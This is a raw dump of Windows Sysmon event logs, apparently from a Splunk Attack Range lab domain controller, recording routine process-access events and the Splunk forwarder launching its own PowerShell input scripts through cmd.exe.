\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005454Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005453Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005452Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005451Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005450Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005449Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005448Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005447Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005446Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2953-5F80-3101-000000007F01}664C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005445Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2953-5F80-3101-000000007F01}664C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005444Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.572{A5F018FF-2953-5F80-3101-000000007F01}664C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005443Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2953-5F80-3001-000000007F01}3840C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005442Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005441Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005440Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005439Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005438Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005437Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005436Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005435Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005434Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005433Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2953-5F80-3001-000000007F01}3840C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005432Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.461{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2953-5F80-3001-000000007F01}3840C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005431Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.463{A5F018FF-2953-5F80-3001-000000007F01}3840C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005430Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2953-5F80-2F01-000000007F01}4000C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005429Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005428Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 